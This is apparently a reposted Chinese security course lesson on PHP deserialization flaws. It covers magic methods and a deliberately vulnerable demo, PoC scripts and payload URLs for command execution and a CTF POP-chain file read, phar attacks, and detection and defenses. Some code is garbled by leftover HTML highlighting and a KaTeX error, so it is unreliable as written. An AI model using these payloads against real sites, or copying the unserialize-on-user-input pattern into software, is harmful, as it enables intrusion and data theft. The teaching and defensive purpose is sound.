网络安全课第六节 反序列化漏洞的检测与防御

12 反序列化漏洞:数据转换下的欺骗

上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件、进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待。

本讲我将介绍另一种常用来实现远程代码执行的漏洞类型——反序列化漏洞,这几年经常出现在 Java 公共库,比如阿里的 fastjson,还有一些 Java 应用服务器,比如 JBoss。PHP 也有反序列化,比如著名的 Joomla 内容管理系统很多编程语言都有这种反序列化功能,若对反序列化的数据未做有效过滤和限制,就可能导致这种漏洞的产生。

下面我就详细给你介绍下关于反序列化漏洞攻防的方方面面,演示案例我依然会以 PHP 为例,方便大家学习。

序列化与反序列化

为什么会有序列化与反序列化的需求呢?

序列化是把对象转换成有序字节流,通常都是一段可阅读的字符串,以便在网络上传输或者保存在本地文件中。同样,如果我们想直接使用某对象时,就可能通过反序列化前面保存的字符串,快速地重建对象,也不用重写一遍代码,提高工作效率。

以 PHP 语言为例,下面以代码示例介绍下序列化与反序列化,帮助你更直观地理解两者的概念。

1.序列化示例

PHP 中通过 serialize 函数进行序列化操作,先定义个类,然后用它创建个类对象再序列化,代码示例如下:

<?php
  class People{
      public $id = 1;
      protected $name = "john";
      private $age = 18;
  }

o

b

j

=

<

s

p

a

n

c

l

a

s

s

=

"

h

l

j

s

k

e

y

w

o

r

d

"

>

n

e

w

<

/

s

p

a

n

>

P

e

o

p

l

e

(

)

;

<

s

p

a

n

c

l

a

s

s

=

"

h

l

j

s

k

e

y

w

o

r

d

"

>

e

c

h

o

<

/

s

p

a

n

>

s

e

r

i

a

l

i

z

e

(

obj = <span class="hljs-keyword">new</span> People(); <span class="hljs-keyword">echo</span> serialize(

obj=<spanclass="hljskeyword">new</span>People();<spanclass="hljskeyword">echo</span>serialize(obj);
?>

我在 PHP 7.4.3 版本下执行,它会输出以下这段字符串:

$ php -v
PHP 7.4.3 (cli) (built: Oct  6 2020 15:47:56) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
$ php test.php 
'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'

注意:有些终端在输出时,可能会把其中的 x00 过滤掉,"Peopleage" 其实是 "x00Peoplex00age" 这样的数据,在后面进行反序列化操作时要注意,可拿前面的变量名长度进行对比。

对生成后序列化字符串前半部分做个解释,后面类似:

O:代表对象Object
6:对象名称长度
People:对象名称
3:变量个数
s:数据类型
2:变量名长度
id:变量名
i:整数类型
1:变量值

序列化后有很多数据类型的表示,你先提前了解一下,以后写反序列化利用时有可能会用到。

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - nullR - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

相信到这里,你对所谓的序列化操作有了直观的认识感受,它就是将对象转换成可阅读可存储的字符串序列。

2.反序列化示例

反序列化就是对前面的序列化的反向操作,即将字符串序列重建回对象。

现在我们将前面生成的序列化字符串进行反序列化操作,通过 unserialize() 函数来实现:

<?php
  $str = 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}';
  $u = unserialize($str);
  echo $u->id;
?>

执行之后,成功获取到 People 的属性 id 值,说明反序列化重建出来的对象是可用的:

$ php test.php
1

如果你访问 $name 与 $age 就会出错,因为它们不是公有属性,不可直接访问:

PHP Fatal error:  Uncaught Error: Cannot access private property People::$age in /tmp/test.php:14
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 14
PHP Fatal error:  Uncaught Error: Cannot access protected property People::$name in /tmp/test.php:14
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 14

这里主要介绍的是 PHP 的序列化与反序列化,很多语言也都有这种功能,我在后面的“扩展:其他语言的反序列化”小节中做了补充,你可以继续去探索下其他语言。

漏洞是如何产生的?

反序列化原本只是一个正常的功能,那为什么反序列化就会产生漏洞呢?

当传给 unserialize() 的参数由外部可控时,若攻击者通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,比如 PHP 中特殊的魔术方法(详见下文),这些方法在某些情况下会被自动调用,为实现任意代码执行提供了条件,这时反序列化漏洞就产生了,PHP 反序列化漏洞有时也被称为“PHP 对象注入”漏洞。

攻击反序列化漏洞

反序列化参数可控后,如果我们只能针对参数的类对象进行利用,那么攻击面就太小了。这时利用魔术方法就可以扩大攻击面,它在该类的序列化或反序列化中就可能自动完成调用,对于漏洞的利用可以直到关键作用。

除此之外,还有后面将介绍到的 POP 链构造等手法都可以进一步扩大攻击面,达到代码执行的效果。

1.利用魔术方法

魔术方法就是 PHP 中一些在某些情况下会被自动调用的方法,无须手工调用,比如当一个对象创建时 __construct 会被调用,当一个对象销毁时 __destruct 会被调用。

下面是 PHP 中一些常用的魔术方法:

__construct()   #类的构造函数
__destruct()    #类的析构函数
__call()        #在对象中调用一个不可访问方法时调用
__callStatic()  #用静态方式中调用一个不可访问方法时调用
__get()    #获得一个类的成员变量时调用
__set()    #设置一个类的成员变量时调用
__isset()  #当对不可访问属性调用isset()或empty()时调用
__unset()  #当对不可访问属性调用unset()时被调用。
__sleep()  #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString()   #类被当成字符串时的回应方法
__invoke()     #调用函数的方式调用一个对象时的回应方法
__set_state()  #调用var_export()导出类时,此静态方法会被调用。
__clone()      #当对象复制完成时调用
__autoload()   #尝试加载未定义的类
__debugInfo()  #打印所需调试信息

下面通过一段漏洞代码来演示下魔术方法在反序列化漏洞中的利用,vul.php 漏洞代码如下:

<?php
  class People {
    private $type;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{
  <span class="hljs-keyword">$this</span>-&gt;type = <span class="hljs-keyword">new</span> Student();
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">$this</span>-&gt;type-&gt;run();
}

}

class Student {
function run() {
echo “he is a student.”;
}
}

class Evil {
var KaTeX parse error: Expected '}', got 'EOF' at end of input: …"hljs-keyword">this->cmd);
}
}

unserialize($_GET[‘str’]); // 漏洞触发点,引用外部可控参数作为反序列化数据
?>

先分析下代码,$_GET['str'] 获取 get 参数 str 值,然后传递给 unserialize 进行反序列化操作,这就是导致漏洞的地方。

那么我们该如何利用呢?审查整份代码,发现 Evil 类中的命令执行方法 run(),如果能控制其中的 $cmd 变量就可以实现远程命令执行。在 People 类的 __construct 方法中有属性赋值操作,将 Student 对象赋值给 $type 属性。

同时,在 __destruct 方法中有调用 run() 方法的操作,因此我们可以设法此这些操作关联起来,写出利用代码去生成用来实现命令执行的序列化字符串。

poc.php 利用代码如下:

<?php
  class People {
    private $type;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{
  <span class="hljs-keyword">$this</span>-&gt;type = <span class="hljs-keyword">new</span> Evil();
}

}
class Evil {
var $cmd = ‘id’;
}
$people = new People();

s

t

r

=

s

e

r

i

a

l

i

z

e

(

str = serialize(

str=serialize(people);
echo $str;
?>

运行生成序列化字符串:

$ php poc.php
O:6:"People":1:{s:12:"Peopletype";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}

里面的 "Peopletype" 又被吃掉 x00 了,得补回去,然后将上述字符串作为 get 参数 $str 的值发送给 vul.php:

http://127.0.0.1/vul.php?str=O:6:%22People%22:1:{s:12:%22%00People%00type%22;O:4:%22Evil%22:1:{s:3:%22cmd%22;s:2:%22id%22;}}

Lark20210121-180531.png

图 1 成功利用反序列化漏洞执行任意命令

总结下利用思路:

  1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方,正如示例中的 Evil 类;

  2. 追踪调用第 1 步中方法的其他类方法/函数,正如示例中 People 类方法 __destruct();

  3. 寻找可控制第 1 步方法的参数的其他类方法函数,正如示例中 People 类方法 __construct();

  4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串;

  5. 将生成的序列化字符串传递给漏洞参数实现利用。

2.POP 链构造

面向属性编程(Property-Oriented Programing,POP)利用现有执行环境中原有的代码序列(比如原程序中已定义或者可动态加载的对象属性、方法),将这些调用组合在一起形式特定的调用链,以达到特定目的的方法。这与二进制漏洞利用中的 ROP(Return-Oriented Progaming,面向返回编程)的原理是相似的。

其实前面利用魔术方法构建调用链的方法就算是 POP 链,只是比较简单,在真实的漏洞环境中,会复杂很多。

我从网上找了一道 CTF 题,以帮助你更好地理解构建 POP 链的思路。

题目代码如下,代码中有 3 个类,Output 类有构造方法 construct 和析构方法 destruct,Show 类中有一些设置属性值的方法,Test 类中则含有读取文件的方法,最后使用 GET 参数传入 unserialize() 函数导致反序列化漏洞。

<?php
class Output{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }
    public function __get($key){
        return $this->get($key);
    }
    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

按照前面介绍的利用思路,一步步来套用上。

1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方。

在题目中,没有找到上面用于执行代码或命令的函数,但是在 Test::file_get() 调用 file_get_contents 读取文件内容,如果能够利用它实现任意文件读取也是可取的,因此就以 Test 类方法 file_get 为目标方法;

2. 追踪调用第 1 步中方法的其他类方法/函数。

看哪里调用 Test::file_get(),可以看到是 Test::get(),再往上追踪,发现是在 Test::__get() 调用的,这个 __get() 魔术方法的触发条件是:读取不可访问属性值,包括私有或未定义属性。在 Show::__toString() 中就有对未定义属性 $content 的操作,这样就会触发 __get() 方法。再往上追溯,发现 Output::__destruct() 中调用到 echo 函数可触发 __toString() ,这样就得到整个调用链如下:

Lark20210121-180537.png

图 2 调用链

3. 寻找可控制第 1 步方法的参数的其他类方法函数。

这里需要控制的是 file_get_contents($value) 中的参数 $value,依次往上追溯,发现其来自数组中的一个元素值,得到如下传播路径:

Lark20210121-180540.png

图 3 参数传播路径

为了对应 Show::__toString() 中的 $this->str['str']->source ,我们可以通过array('source'=>'可控内容') 来控制 $value,即打算读取的文件路径。进一步优化下传播路径:

Lark20210121-180543.png

图 4 优化后的参数传播路径

4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串。

根据图 2 的调用链可以知道,起始的调用类在 Output,因此我们需要反序列化它。

基于前面的分析,PoC 代码如下:

<?php
  class Output{
    public $test;
    public $str;
    public function __construct($name){
          $this->str = $name;
      }
      public function __destruct(){
          $this->test = $this->str;
          echo $this->test;
      }
  }
  class Show{
    public $str;
    public $source;
    public function __toString(){
          $content = $this->str['str']->source;
          return (string)$content;
      }
  }
  class Test{
    public $file;
    public $params;
    // 原方法的定义此处省略,因为它对生成序列化字符串没有影响
  }
  $test = new Test();
  $test->params = array('source'=>'/var/www/html/flag.php');
  $show = new Show();
  $show->str = array('str'=>$test);
  $output = new Output($show);
  echo serialize($output);
?>

执行后得到如下序列化字符串:

O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}

5. 将生成的序列化字符串传递给漏洞参数实现利用

漏洞参数是 GET 参数 str,因此可以如此构造请求:

http://127.0.0.1/vul.php?str=O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}

整个过程可能有点绕,但 POP 链的利用技术就是如此,需要你对目标程序进行全方位的分析,提取出可利用的调用链进行组装,才有可能实现真正的攻击效果。

3.phar 文件攻击

在 2018 年 BlackHat 黑客大会上,安全研究员 Sam Thomas 分享了议题“It's a PHP unserialization vulnerability Jim, but not as we know it”,介绍了一种关于利用 phar 文件实现反序列化漏洞的利用技巧,利用的是 phar 文件中序列化存储用户自定义的 meta-data,在解析该数据时就必然需要反序列化,配合 phar:// 伪协议即可触发对此的反序列化操作。比如如下代码即可触发对 test.txt 文件内容的反序列化操作:

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);

在实际利用时,还可以对 phar 文件进行格式上的伪造,比如添加图片的头信息,将其伪装成其他格式的文件,用于绕过一些上传文件格式的限制。
更加具体技术资料,推荐以下两篇:

《利用 phar 拓展 php 反序列化漏洞攻击面》

《It's a PHP unserialization vulnerability Jim, but not as we know it》

如何挖掘反序列化漏洞?

1.代码审计

个人认为,想主动检测一些反序列化漏洞,特别是 0day 漏洞,最好的方法就是代码审计,针对不同的语言的反序化操作函数,比如 php unserialize 函数,还要注意 phar 文件攻击场景,然后往上回溯参数的传递来源,看是否有外部可控数据引用(比如 GET、POST 参数等等),而又未过任何过滤,那么它就有可能存在反序列化漏洞。

2.RASP 检测

在《08 | SQL 注入:漏洞的检测与防御》中已经介绍过 RASP,可以针对不同的语言做一些 Hook,如果发现一些敏感函数(比如 php eval、unserialize)被执行就打印出栈回溯,方便追踪漏洞成功,以及漏洞利用技术技巧,整个 POP 链也可以从中获取到。

所以,通过 RASP 不仅有利于拦截漏洞攻击,还可以定位漏洞代码,以及学习攻击者的利用技术,为后续的漏洞修复和拦截提供更多的参考价值。

3.动态黑盒扫描

通过收集历史漏洞的 payload,再结合网站指纹识别,特别是第三方库的识别,然后再根据不同的第三方库发送对应的 payload,根据返回结果作漏洞是否存在的判断。

这项工作也常于外曝漏洞后的安全应急工作,然后加入日常漏洞扫描流程中,以应对新增业务的检测。

防御反序列化漏洞

  • 黑白名单限制

针对反序列化的类做一份白名单或黑名单的限制,首选白名单,避免一些遗漏问题被绕过。这种方法是当前很多主流框架的修复方案。

黑名单并不能完全保证序列化过程的安全,有时网站开发个新功能,加了一些类之后,就有可能绕过黑名单实现利用,这也是为什么有些反序列化漏洞修复后又在同一个地方出现的原因。

  • WAF

收集各种语言的反序列化攻击数据,提取特征用于拦截请求。

  • RASP

RASP 除了可以检测漏洞外,它本身也可以提供类似 WAF 的防御功能。

扩展:其他语言的反序列化

其他编程语言也存在对应的序列化和反序列化功能,其产生和利用的原理与 PHP 类似。

  • Python

使用模块 pickle 就可以实现对一个 Python 对象结构的二进制序列化和反序列化

# 序列化
pickle.dump(obj, file, protocol=None, *, fix_imports=True) 
# 反序列化
pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict')
  • Java

在 Java 中,只要一个类实现了 java.io.Serializable 接口,那么它就可以被序列化,通过 ObjectOutputStream 和 ObjectInputStream 来实现序列化与反序列化操作。

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/string.txt")));
oos.writeObject(obj) // 将对象序列化后的字符串写入d:/string.txt
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/string.txt")));
ois.readObject();  // 读取d:/string.txt中的序列化字符串,并重建回对象
  • Ruby

在 Ruby 中可以使用 Marshal 模块实现对象的序列化与反序列化操作。

# 序列化
str = Marshal.dump(obj)
#反序列化
obj = Marshal.load(str)

小结

本节课主要介绍 PHP 下反序列化漏洞,专门举几个代码 demo 进行演示,让你对序列化与反序列化有个实际的直观感受,然后构造漏洞 demo,讲解针对反序列化漏洞的利用思路,旨在帮助你加深 POP 链与魔术方法利用技巧,这在反序列化漏洞利用中是最为常用的。

其他语言也有反序列化漏洞,比如 Java 语言,大家可以在留言区中评论,探讨其他语言的一些反序列化漏洞。


本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>